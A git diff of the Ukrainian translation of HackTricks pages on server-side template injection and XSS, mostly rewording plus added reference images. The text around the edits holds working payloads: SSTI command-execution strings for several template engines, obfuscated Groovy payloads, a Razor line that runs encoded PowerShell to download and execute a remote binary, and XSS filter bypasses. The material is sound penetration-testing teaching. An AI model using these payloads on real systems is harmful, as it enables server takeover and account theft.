шаблонів на стороні сервера (SSTI), спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають: +Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз різниці у відповіді сервера на звичайні дані та цей спеціальний пейлоад. Ознаки вразливості включають: -* Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів. +* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів. * Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані. * **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`). -* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` в `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. +* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. #### Фаза ідентифікації Ідентифікація движка шаблонів передбачає аналіз повідомлень про помилки або ручне тестування різних специфічних для мови пейлоадів. Загальні пейлоади, що викликають помилки, включають `${7/0}`, `{{7/0}}` та `<%= 7/0 %>`. Спостереження за відповіддю сервера на математичні операції допомагає визначити конкретний движок шаблонів. +#### Ідентифікація за пейлоадами + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ## Інструменти ### [TInjA](https://github.com/Hackmanit/TInjA) @@ -196,7 +204,7 @@ Thymeleaf також пропонує _попередню обробку вир ``` -Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як: +Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -254,7 +262,7 @@ print(base_payload + end_payload) * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) -### Маніпуляція з виглядом Spring (Java) +### Маніпуляція виглядом Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x @@ -327,7 +335,7 @@ Jinjava - це проект з відкритим кодом, розроблен * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String -* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest +* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/). @@ -383,11 +391,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: +Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як-от веб-сторінки) та логікою програми (як-от керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: * **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері. * **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми. -* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми. +* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперешкодної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми. Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**: @@ -397,7 +405,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc ### Groovy (Java) -Наступні обходи Менеджера безпеки були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Наступні обходи Security Manager були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -422,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value= this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ``` +### Інше Java + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +
-​​[**RootedCON**](https://www.rootedcon.com/) є найактуальнішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **метою популяризації технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах. +​​[**RootedCON**](https://www.rootedcon.com/) є найактуальнішою подією в сфері кібербезпеки в **Іспанії** та однією з найважливіших в **Європі**. З **місією просування технічних знань**, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в кожній дисципліні. {% embed url="https://www.rootedcon.com/" %} @@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors')); * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) +### Інше PHP + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Jade (NodeJS) ```javascript - var x = root.process @@ -599,12 +619,12 @@ echo $t->finish($t->parse('OUT', 'authors')); ``` **Більше інформації** -* У розділі Jade [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +* У розділі Jade на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини +> [patTemplate](https://github.com/wernerwa/pat-template) - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини. ```xml This is the main page. @@ -668,7 +688,7 @@ URLencoded: * \= 49 -**Клієнтська сторона** +**Сторона клієнта** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` @@ -709,12 +729,20 @@ home = pugjs.render(injected_page) * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) +### Інші NodeJS + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` -* `<%= foobar %> = Помилка` +* `<%= foobar %> = Error` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder @@ -740,9 +768,17 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) +### Інші Ruby + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Python -Перегляньте наступну сторінку, щоб дізнатися трюки про **обхід виконання довільних команд, минаючи пісочниці** в python: +Перегляньте наступну сторінку, щоб дізнатися трюки про **виконання довільних команд, обминаючи пісочниці** в python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -778,7 +814,7 @@ home = pugjs.render(injected_page) [Офіційний сайт](http://jinja.pocoo.org) -> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD. +> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD. * `{{7*7}} = Помилка` * `${7*7} = ${7*7}` @@ -850,12 +886,20 @@ ${x} * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) +### Інші Python + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

+ +* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Razor (.Net) * `@(2+2) <= Успіх` * `@() <= Успіх` * `@("{{code}}") <= Успіх` -* `@ <=Успіх` +* `@ <= Успіх` * `@{} <= ПОМИЛКА!` * `@{ <= ПОМИЛКА!` * `@(1+2)` @@ -863,7 +907,7 @@ ${x} * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` -Метод .NET `System.Diagnostics.Process.Start` може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку за адресою [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) +Метод .NET `System.Diagnostics.Process.Start` може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку в [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Більше інформації** @@ -895,19 +939,23 @@ ${x} ``` ### SSTI в GO -У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів: +У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів: * `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити. * `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti". * `{{html "ssti"}}`, `{{js "ssti"}}`: Ці пейлоади повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template). +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

+ **Експлуатація XSS** З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{""}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +vbnet Copy code + **Експлуатація RCE** -Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/). +Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/). Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі: ```go @@ -968,8 +1016,8 @@ return string(out) Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
{% endhint %} diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index d683b11ad..d6db0f4e2 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (Cross Site Scripting) -
+
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -11,27 +11,27 @@ 1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_параметри_, _шлях_, _заголовки_?, _куки_?) **відображається** в HTML або **використовується** кодом **JS**. 2. **Знайдіть контекст**, де воно відображається/використовується. 3. Якщо **відображається** -1. Перевірте, **які символи ви можете використовувати** і, залежно від цього, підготуйте payload: +1. Перевірте, **які символи ви можете використовувати** і в залежності від цього підготуйте payload: 1. У **сирому HTML**: 1. Чи можете ви створити нові HTML теги? 2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`? 3. Чи можете ви обійти захист? 4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? +5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? 2. Всередині **HTML тегу**: -1. Чи можете ви вийти в контекст сирого HTML? +1. Чи можете ви вийти в сирий HTML контекст? 2. Чи можете ви створити нові події/атрибути для виконання JS коду? 3. Чи підтримує атрибут, в якому ви застрягли, виконання JS? 4. Чи можете ви обійти захист? 3. Всередині **JavaScript коду**: 1. Чи можете ви втекти з тегу ``** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол: +У цьому випадку ваш ввід відображається між **``** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол: -* Якщо відображається між **``** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML теги** і лише потім вміст, тому він не помітить, що ваш введений `` тег знаходиться всередині HTML коду. +* Якщо відображається між **``** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `` знаходиться всередині HTML-коду. * Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` -* Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази** за допомогою синтаксису `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +* Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази**, використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode кодування** працює для написання **дійсного javascript коду**: ```javascript \u{61}lert(1) @@ -98,9 +98,9 @@ Javascript Hoisting посилається на можливість **огол ### Javascript Function -Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: `?callback=callbackFunc`. +Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на кшталт: `?callback=callbackFunc`. -Хороший спосіб дізнатися, чи намагається виконати щось, що надано безпосередньо користувачем, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як: +Добрий спосіб дізнатися, чи щось, надане безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як: ![](<../../.gitbook/assets/image (711).png>) @@ -156,7 +156,7 @@ parentElement ## Впровадження всередині сирого HTML Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\ -Для цих випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +Для цих випадків також **пам'ятайте про** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\***** ****`-->`**** ****або \*\*\*\*****`--!>`**_ У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати пейлоади, такі як: @@ -165,12 +165,12 @@ _**Примітка: HTML-коментар може бути закритий з ``` -Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **виконати брутфорс, які теги** ви можете створити.\ -Коли ви **знайдете, які теги дозволені**, вам потрібно буде **виконати брутфорс атрибутів/подій** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст. +Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **вибрати, які теги** ви можете створити.\ +Коли ви **знайдете, які теги дозволені**, вам потрібно буде **вибрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст. -### Брутфорс тегів/подій +### Вибір тегів/подій -Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливий WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **виконати брутфорс усіх подій** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше). +Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви дізнаєтеся, які теги ви можете використовувати, ви можете **вибрати всі події** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше). ### Користувацькі теги @@ -243,7 +243,7 @@ onerror=alert`1` ``` Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\ Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\ -Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121). +Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121). ### Click XSS - Clickjacking @@ -251,19 +251,19 @@ onerror=alert`1` ### Неможливо - Dangling Markup -Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду. +Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду. ## Впровадження всередині HTML-тегу ### Всередині тегу/вихід з значення атрибута Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](./#injecting-inside-raw-html), щоб виконати JS-код.\ -Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_): +Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі payload, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_): ```bash " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t ``` -**Стилі подій** +**Стиль подій** ```python

XSS

XSS

@@ -275,12 +275,12 @@ onerror=alert`1` ``` ### Всередині атрибута -Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\ +Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\ Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`** **Обхід всередині події за допомогою HTML кодування/URL кодування** -**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `Повернутися ` +**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `Повернутися назад ` Зверніть увагу, що **будь-яке HTML кодування є дійсним**: ```javascript @@ -391,10 +391,10 @@ _**У цьому випадку трюк з HTML-кодуванням та ко [reverse-tab-nabbing.md](../reverse-tab-nabbing.md) {% endcontent-ref %} -### обхід обробників подій +### про обхід обробників подій По-перше, перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" обробників подій**.\ -У разі, якщо існує якийсь чорний список, який заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи: +У разі, якщо існує якийсь чорний список, що заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи: ```javascript //No safari @@ -416,7 +416,7 @@ Android: %09 %20 %28 %2C %3B @@ -428,31 +428,31 @@ Android: %09 %20 %28 %2C %3B ```markup ``` -**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`** +**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="` ### Обхід чорного списку -Кілька трюків з використанням різного кодування вже були розкриті в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:** +Кілька трюків з використанням різного кодування вже були представлені в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:** * **HTML кодування (HTML теги)** -* **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)` +* **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)` * **URL кодування** * **Шістнадцяткове та вісімкове кодування** * **кодування даних** **Обходи для HTML тегів та атрибутів** -Прочитайте [Обходи чорного списку попереднього розділу](./#blacklist-bypasses). +Читайте [Обходи чорного списку попереднього розділу](./#blacklist-bypasses). **Обходи для JavaScript коду** -Прочитайте [чорний список обходів JavaScript наступного розділу](./#javascript-bypass-blacklists-techniques). +Читайте [чорний список обходів JavaScript наступного розділу](./#javascript-bypass-blacklists-techniques). ### CSS-Гаджети Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **модифікувати простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання. -Наприклад, ви могли б додати деяке стилювання в елемент, як: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` +Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад @@ -470,11 +470,11 @@ Android: %09 %20 %28 %2C %3B ## Впровадження всередині JavaScript коду -У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`. +У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`. ### Вихід з \`, ви могли б легко **вийти, закривши тег ``, ви можете легко **вийти, закривши ` ``` @@ -511,7 +511,7 @@ loop`````````````` This is a 1 line comment, 